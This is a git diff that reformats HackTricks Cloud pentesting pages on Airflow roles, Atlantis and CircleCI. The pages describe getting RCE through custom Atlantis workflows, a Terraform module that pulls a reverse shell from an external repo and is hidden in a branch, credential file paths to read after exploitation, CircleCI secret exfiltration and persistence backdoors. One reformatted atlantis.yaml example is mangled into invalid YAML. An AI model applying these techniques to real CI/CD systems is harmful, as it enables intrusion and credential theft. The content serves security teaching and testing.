 \[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs]
 
-* **User**
+- **User**
 
 \[can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances]
 
-* **Viewer**
+- **Viewer**
 
 \[can read on DAGs, can read on DAG Runs, can read on Task Instances, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances]
 
-* **Public**
+- **Public**
 
 \[]
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/pentesting-ci-cd/atlantis-security.md b/src/pentesting-ci-cd/atlantis-security.md
similarity index 69%
rename from pentesting-ci-cd/atlantis-security.md
rename to src/pentesting-ci-cd/atlantis-security.md
index a82b0d255..3143cd694 100644
--- a/pentesting-ci-cd/atlantis-security.md
+++ b/src/pentesting-ci-cd/atlantis-security.md
@@ -1,25 +1,12 @@
 # Atlantis Security
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../banners/hacktricks-training.md}}
 
 ### Basic Information
 
 Atlantis basically helps you to to run terraform from Pull Requests from your git server.
 
-![](<../.gitbook/assets/image (161).png>)
+![](<../images/image (161).png>)
 
 ### Local Lab
 
@@ -36,9 +23,8 @@ Atlantis basically helps you to to run terraform from Pull Requests from your gi
 However, in order to access the repos in those platforms and perform actions, it needs to have some **privileged access granted to them** (at least write permissions).\
 [**The docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) encourage to create a user in these platform specifically for Atlantis, but some people might use personal accounts.
 
-{% hint style="warning" %}
-In any case, from an attackers perspective, the **Atlantis account** is going to be one very **interesting** **to compromise**.
-{% endhint %}
+> [!WARNING]
+> In any case, from an attackers perspective, the **Atlantis account** is going to be one very **interesting** **to compromise**.
 
 #### Webhooks
 
@@ -48,9 +34,8 @@ One way to confirm this would be to **allowlist requests to only come from the I
 
 Note that unless you use a private github or bitbucket server, you will need to expose webhook endpoints to the Internet.
 
-{% hint style="warning" %}
-Atlantis is going to be **exposing webhooks** so the git server can send it information. From an attackers perspective it would be interesting to know **if you can send it messages**.
-{% endhint %}
+> [!WARNING]
+> Atlantis is going to be **exposing webhooks** so the git server can send it information. From an attackers perspective it would be interesting to know **if you can send it messages**.
 
 #### Provider Credentials <a href="#provider-credentials" id="provider-credentials"></a>
 
@@ -60,17 +45,16 @@ Atlantis runs Terraform by simply **executing `terraform plan` and `apply`** com
 
 It's up to you how you [provide credentials](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) for your specific provider to Atlantis:
 
-* The Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) and [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) have their own mechanisms for provider credentials. Read their docs.
-* If you're running Atlantis in a cloud then many clouds have ways to give cloud API access to applications running on them, ex:
-  * [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "EC2 Role")
-  * [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
-* Many users set environment variables, ex. `AWS_ACCESS_KEY`, where Atlantis is running.
-* Others create the necessary config files, ex. `~/.aws/credentials`, where Atlantis is running.
-* Use the [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) to obtain provider credentials.
+- The Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) and [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) have their own mechanisms for provider credentials. Read their docs.
+- If you're running Atlantis in a cloud then many clouds have ways to give cloud API access to applications running on them, ex:
+  - [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "EC2 Role")
+  - [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
+- Many users set environment variables, ex. `AWS_ACCESS_KEY`, where Atlantis is running.
+- Others create the necessary config files, ex. `~/.aws/credentials`, where Atlantis is running.
+- Use the [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) to obtain provider credentials.
 
-{% hint style="warning" %}
-The **container** where **Atlantis** is **running** will highly probably **contain privileged credentials** to the providers (AWS, GCP, Github...) that Atlantis is managing via Terraform.
-{% endhint %}
+> [!WARNING]
+> The **container** where **Atlantis** is **running** will highly probably **contain privileged credentials** to the providers (AWS, GCP, Github...) that Atlantis is managing via Terraform.
 
 #### Web Page
 
@@ -82,8 +66,8 @@ You probably won't find it exposed to the internet, but it looks like by default
 
 Configuration to `atlantis server` can be specified via command line flags, environment variables, a config file or a mix of the three.
 
-* You can find [**here the list of flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) supported by Atlantis server
-* You can find [**here how to transform a config option into an env var**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)
+- You can find [**here the list of flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) supported by Atlantis server
+- You can find [**here how to transform a config option into an env var**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)
 
 Values are **chosen in this order**:
 
@@ -91,9 +75,8 @@ Values are **chosen in this order**:
 2. Environment Variables
 3. Config File
 
-{% hint style="warning" %}
-Note that in the configuration you might find interesting values such as **tokens and passwords**.
-{% endhint %}
+> [!WARNING]
+> Note that in the configuration you might find interesting values such as **tokens and passwords**.
 
 #### Repos Configuration
 
@@ -121,36 +104,34 @@ There isn't any option to allow **specifying** these scripts in the **repo `/atl
 In the repo config (server side config) you can [**specify a new default workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), or [**create new custom workflows**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** You can also **specify** which **repos** can **access** the **new** ones generated.\
 Then, you can allow the **atlantis.yaml** file of each repo to **specify the workflow to use.**
 
-{% hint style="danger" %}
-If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.\
-This will basically give **RCE in the Atlantis server to any user that can access that repo**.
-
-```yaml
-# atlantis.yaml
-version: 3
-projects:
-- dir: .
-  workflow: custom1
-workflows:
-  custom1:
-    plan:
-      steps:
-      - init
-      - run: my custom plan command
-    apply:
-      steps:
-      - run: my custom apply command
-```
-{% endhint %}
+> [!CAUTION]
+> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.\
+> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
+>
+> ```yaml
+> # atlantis.yaml
+>
+> version: 3
+> projects:
+>
+> - dir: .
+>   workflow: custom1
+>   workflows:
+>   custom1:
+>   plan:
+>   steps: - init - run: my custom plan command
+>   apply:
+>   steps: - run: my custom apply command
+> ```
 
 **Conftest Policy Checking**
 
 Atlantis supports running **server-side** [**conftest**](https://www.conftest.dev/) **policies** against the plan output. Common usecases for using this step include:
 
-* Denying usage of a list of modules
-* Asserting attributes of a resource at creation time
-* Catching unintentional resource deletions
-* Preventing security risks (ie. exposing secure ports to the public)
+- Denying usage of a list of modules
+- Asserting attributes of a resource at creation time
+- Catching unintentional resource deletions
+- Preventing security risks (ie. exposing secure ports to the public)
 
 You can check how to configure it in [**the docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
 
@@ -178,13 +159,13 @@ atlantis apply [options] -- [terraform apply flags]
 ## -w workspace
 ## --auto-merge-disabled
 ## --verbose
-## You can also add extra terraform options 
+## You can also add extra terraform options
 ```
 
 ### Attacks
 
-{% hint style="warning" %}
-If during the exploitation you find this **error**: `Error: Error acquiring the state lock`
+> [!WARNING]
+> If during the exploitation you find this **error**: `Error: Error acquiring the state lock`
 
 You can fix it by running:
 
@@ -192,7 +173,6 @@ You can fix it by running:
 atlantis unlock #You might need to run this in a different PR
 atlantis plan -- -lock=false
 ```
-{% endhint %}
 
 #### Atlantis plan RCE - Config modification in new PR
 
@@ -210,7 +190,7 @@ data "external" "example" {
 
 You can perform this attack even in a **stealthier way**, by following this suggestions:
 
-* Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
+- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
 
 ```javascript
 module "not_rev_shell" {
@@ -218,10 +198,10 @@ module "not_rev_shell" {
 }
 ```
 
-You can find the rev shell code in [https://github.com/carlospolop/terraform\_external\_module\_rev\_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
+You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
 
-* In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
-* **Instead** of creating a **PR to master** to trigger Atlantis, **create 2 branches** (test1 and test2) and create a **PR from one to the other**. When you have completed the attack, just **remove the PR and the branches**.
+- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
+- **Instead** of creating a **PR to master** to trigger Atlantis, **create 2 branches** (test1 and test2) and create a **PR from one to the other**. When you have completed the attack, just **remove the PR and the branches**.
 
 #### Atlantis plan Secrets Dump
 
@@ -239,10 +219,10 @@ If you have write access over a repository you will be able to create a new bran
 
 However, you will usually need to bypass some protections:
 
-* **Mergeable**: If this protection is set in Atlantis, you can only run **`atlantis apply` if the PR is mergeable** (which means that the branch protection need to be bypassed).
-  * Check potential [**branch protections bypasses**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
-* **Approved**: If this protection is set in Atlantis, some **other user must approve the PR** before you can run `atlantis apply`
-  * By default you can abuse the [**Gitbot token to bypass this protection**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
+- **Mergeable**: If this protection is set in Atlantis, you can only run **`atlantis apply` if the PR is mergeable** (which means that the branch protection need to be bypassed).
+  - Check potential [**branch protections bypasses**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
+- **Approved**: If this protection is set in Atlantis, some **other user must approve the PR** before you can run `atlantis apply`
+  - By default you can abuse the [**Gitbot token to bypass this protection**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
 
 Running **`terraform apply` on a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
 You just need to make sure some payload like the following ones ends in the `main.tf` file:
@@ -284,28 +264,27 @@ Something you can pass are env variables which might be helpful to bypass some p
 Running **malicious custom build commands** specified in an `atlantis.yaml` file. Atlantis uses the `atlantis.yaml` file from the pull request branch, **not** of `master`.\
 This possibility was mentioned in a previous section:
 
-{% hint style="danger" %}
-If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.
-
-This will basically give **RCE in the Atlantis server to any user that can access that repo**.
-
-```yaml
-# atlantis.yaml
-version: 3
-projects:
-- dir: .
-  workflow: custom1
-workflows:
-  custom1:
-    plan:
-      steps:
-      - init
-      - run: my custom plan command
-    apply:
-      steps:
-      - run: my custom apply command
-```
-{% endhint %}
+> [!CAUTION]
+> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.
+>
+> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
+>
+> ```yaml
+> # atlantis.yaml
+> version: 3
+> projects:
+>   - dir: .
+>     workflow: custom1
+> workflows:
+>   custom1:
+>     plan:
+>       steps:
+>         - init
+>         - run: my custom plan command
+>     apply:
+>       steps:
+>         - run: my custom apply command
+> ```
 
 #### Bypass plan/apply protections
 
@@ -313,8 +292,8 @@ If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo
 
 ```yaml
 repos:
-- id: /.*/
-  apply_requirements: []
+  - id: /.*/
+    apply_requirements: []
 ```
 
 #### PR Hijacking
@@ -325,7 +304,7 @@ Moreover, if you don't have configured in the **branch protection** to ask to **
 
 This is the **setting** in Github branch protections:
 
-![](<../.gitbook/assets/image (216).png>)
+![](<../images/image (216).png>)
 
 #### Webhook Secret
 
@@ -335,20 +314,20 @@ If you manage to **steal the webhook secret** used or if there **isn't any webho
 
 Bitbucket Cloud does **not support webhook secrets**. This could allow attackers to **spoof requests from Bitbucket**. Ensure you are allowing only Bitbucket IPs.
 
-* This means that an **attacker** could make **fake requests to Atlantis** that look like they're coming from Bitbucket.
-* If you are specifying `--repo-allowlist` then they could only fake requests pertaining to those repos so the most damage they could do would be to plan/apply on your own repos.
-* To prevent this, allowlist [Bitbucket's IP addresses](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (see Outbound IPv4 addresses).
+- This means that an **attacker** could make **fake requests to Atlantis** that look like they're coming from Bitbucket.
+- If you are specifying `--repo-allowlist` then they could only fake requests pertaining to those repos so the most damage they could do would be to plan/apply on your own repos.
+- To prevent this, allowlist [Bitbucket's IP addresses](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (see Outbound IPv4 addresses).
 
 ### Post-Exploitation
 
 If you managed to get access to the server or at least you got a LFI there are some interesting things you should try to read:
 
-* `/home/atlantis/.git-credentials` Contains vcs access credentials
-* `/atlantis-data/atlantis.db` Contains vcs access credentials with more info
-* `/atlantis-data/repos/<org_name>`_`/`_`<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate` Terraform stated file
-  * Example: /atlantis-data/repos/ghOrg\_/\_myRepo/20/default/env/prod/.terraform/terraform.tfstate
-* `/proc/1/environ` Env variables
-* `/proc/[2-20]/cmdline` Cmd line of `atlantis server` (may contain sensitive data)
+- `/home/atlantis/.git-credentials` Contains vcs access credentials
+- `/atlantis-data/atlantis.db` Contains vcs access credentials with more info
+- `/atlantis-data/repos/<org_name>`_`/`_`<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate` Terraform stated file
+  - Example: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
+- `/proc/1/environ` Env variables
+- `/proc/[2-20]/cmdline` Cmd line of `atlantis server` (may contain sensitive data)
 
 ### Mitigations
 
@@ -364,10 +343,10 @@ If you're running on a public repo (which isn't recommended, see above) you shou
 
 Atlantis requires you to specify a allowlist of repositories it will accept webhooks from via the `--repo-allowlist` flag. For example:
 
-* Specific repositories: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
-* Your whole organization: `--repo-allowlist=github.com/runatlantis/*`
-* Every repository in your GitHub Enterprise install: `--repo-allowlist=github.yourcompany.com/*`
-* All repositories: `--repo-allowlist=*`. Useful for when you're in a protected network but dangerous without also setting a webhook secret.
+- Specific repositories: `--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests`
+- Your whole organization: `--repo-allowlist=github.com/runatlantis/*`
+- Every repository in your GitHub Enterprise install: `--repo-allowlist=github.yourcompany.com/*`
+- All repositories: `--repo-allowlist=*`. Useful for when you're in a protected network but dangerous without also setting a webhook secret.
 
 This flag ensures your Atlantis install isn't being used with repositories you don't control. See `atlantis server --help` for more details.
 
@@ -403,20 +382,7 @@ You can also pass these as environment variables `ATLANTIS_WEB_BASIC_AUTH=true`
 
 ### References
 
-* [**https://www.runatlantis.io/docs**](https://www.runatlantis.io/docs)
-* [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html)
+- [**https://www.runatlantis.io/docs**](https://www.runatlantis.io/docs)
+- [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../banners/hacktricks-training.md}}
diff --git a/pentesting-ci-cd/circleci-security.md b/src/pentesting-ci-cd/circleci-security.md
similarity index 59%
rename from pentesting-ci-cd/circleci-security.md
rename to src/pentesting-ci-cd/circleci-security.md
index e92fede51..4d9e161f1 100644
--- a/pentesting-ci-cd/circleci-security.md
+++ b/src/pentesting-ci-cd/circleci-security.md
@@ -1,19 +1,6 @@
 # CircleCI Security
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../banners/hacktricks-training.md}}
 
 ### Basic Information
 
@@ -42,8 +29,8 @@ You can declare them in clear text inside a **command**:
 - run:
     name: "set and echo"
     command: |
-        SECRET="A secret"
-        echo $SECRET
+      SECRET="A secret"
+      echo $SECRET
 ```
 
 You can declare them in clear text inside the **run environment**:
@@ -53,18 +40,18 @@ You can declare them in clear text inside the **run environment**:
     name: "set and echo"
     command: echo $SECRET
     environment:
-        SECRET: A secret
+      SECRET: A secret
 ```
 
 You can declare them in clear text inside the **build-job environment**:
 
 ```yaml
 jobs:
-    build-job:
-        docker:
-            - image: cimg/base:2020.01
-    environment:
-        SECRET: A secret
+  build-job:
+    docker:
+      - image: cimg/base:2020.01
+  environment:
+    SECRET: A secret
 ```
 
 You can declare them in clear text inside the **environment of a container**:
@@ -81,24 +68,22 @@ jobs:
 #### Project Secrets
 
 These are **secrets** that are only going to be **accessible** by the **project** (by **any branch**).\
-You can see them **declared in** _https://app.circleci.com/settings/project/github/\<org\_name>/\<repo\_name>/environment-variables_
+You can see them **declared in** _https://app.circleci.com/settings/project/github/\<org_name>/\<repo_name>/environment-variables_
 
-![](<../.gitbook/assets/image (129).png>)
+![](<../images/image (129).png>)
 
-{% hint style="danger" %}
-The "**Import Variables**" functionality allows to **import variables from other projects** to this one.
-{% endhint %}
+> [!CAUTION]
+> The "**Import Variables**" functionality allows to **import variables from other projects** to this one.
 
 #### Context Secrets
 
 These are secrets that are **org wide**. By **default any repo** is going to be able to **access any secret** stored here:
 
-![](<../.gitbook/assets/image (123).png>)
+![](<../images/image (123).png>)
 
-{% hint style="success" %}
-However, note that a different group (instead of All members) can be **selected to only give access to the secrets to specific people**.\
-This is currently one of the best ways to **increase the security of the secrets**, to not allow everybody to access them but just some people.
-{% endhint %}
+> [!TIP]
+> However, note that a different group (instead of All members) can be **selected to only give access to the secrets to specific people**.\
+> This is currently one of the best ways to **increase the security of the secrets**, to not allow everybody to access them but just some people.
 
 ### Attacks
 
@@ -108,17 +93,15 @@ If you have **access to the VCS** (like github) check the file `.circleci/config
 
 #### Secret Env Vars & Context enumeration
 
-Checking the code you can find **all the secrets names** that are being **used** in each `.circleci/config.yml` file. You can also get the **context names** from those files or check them in the web console: _https://app.circleci.com/settings/organization/github/\<org\_name>/contexts_.
+Checking the code you can find **all the secrets names** that are being **used** in each `.circleci/config.yml` file. You can also get the **context names** from those files or check them in the web console: _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_.
 
 #### Exfiltrate Project secrets
 
-{% hint style="warning" %}
-In order to **exfiltrate ALL** the project and context **SECRETS** you **just** need to have **WRITE** access to **just 1 repo** in the whole github org (_and your account must have access to the contexts but by default everyone can access every context_).
-{% endhint %}
+> [!WARNING]
+> In order to **exfiltrate ALL** the project and context **SECRETS** you **just** need to have **WRITE** access to **just 1 repo** in the whole github org (_and your account must have access to the contexts but by default everyone can access every context_).
 
-{% hint style="danger" %}
-The "**Import Variables**" functionality allows to **import variables from other projects** to this one. Therefore, an attacker could **import all the project variables from all the repos** and then **exfiltrate all of them together**.
-{% endhint %}
+> [!CAUTION]
+> The "**Import Variables**" functionality allows to **import variables from other projects** to this one. Therefore, an attacker could **import all the project variables from all the repos** and then **exfiltrate all of them together**.
 
 All the project secrets always are set in the env of the jobs, so just calling env and obfuscating it in base64 will exfiltrate the secrets in the **workflows web log console**:
 
@@ -224,9 +207,8 @@ workflows:
           context: Test-Context
 ```
 
-{% hint style="warning" %}
-Just creating a new `.circleci/config.yml` in a repo **isn't enough to trigger a circleci build**. You need to **enable it as a project in the circleci console**.
-{% endhint %}
+> [!WARNING]
+> Just creating a new `.circleci/config.yml` in a repo **isn't enough to trigger a circleci build**. You need to **enable it as a project in the circleci console**.
 
 #### Escape to Cloud
 
@@ -259,28 +241,15 @@ jobs:
 
 #### Persistence
 
-* It's possible to **create** **user tokens in CircleCI** to access the API endpoints with the users access.
-  * _https://app.circleci.com/settings/user/tokens_
-* It's possible to **create projects tokens** to access the project with the permissions given to the token.
-  * _https://app.circleci.com/settings/project/github/\<org>/\<repo>/api_
-* It's possible to **add SSH keys** to the projects.
-  * _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
-* It's possible to **create a cron job in hidden branch** in an unexpected project that is **leaking** all the **context env** vars everyday.
-  * Or even create in a branch / modify a known job that will **leak** all context and **projects secrets** everyday.
-* If you are a github owner you can **allow unverified orbs** and configure one in a job as **backdoor**
-* You can find a **command injection vulnerability** in some task and **inject commands** via a **secret** modifying its value
+- It's possible to **create** **user tokens in CircleCI** to access the API endpoints with the users access.
+  - _https://app.circleci.com/settings/user/tokens_
+- It's possible to **create projects tokens** to access the project with the permissions given to the token.
+  - _https://app.circleci.com/settings/project/github/\<org>/\<repo>/api_
+- It's possible to **add SSH keys** to the projects.
+  - _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
+- It's possible to **create a cron job in hidden branch** in an unexpected project that is **leaking** all the **context env** vars everyday.
+  - Or even create in a branch / modify a known job that will **leak** all context and **projects secrets** everyday.
+- If you are a github owner you can **allow unverified orbs** and configure one in a job as **backdoor**
+- You can find a **command injection vulnerability** in some task and **inject commands** via a **secret** modifying its value
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md
new file mode 100644
index 000000000..e4e65d7dd
--- /dev/null
+++ b/src/pentesting-ci-cd/cloudflare-security/README.md
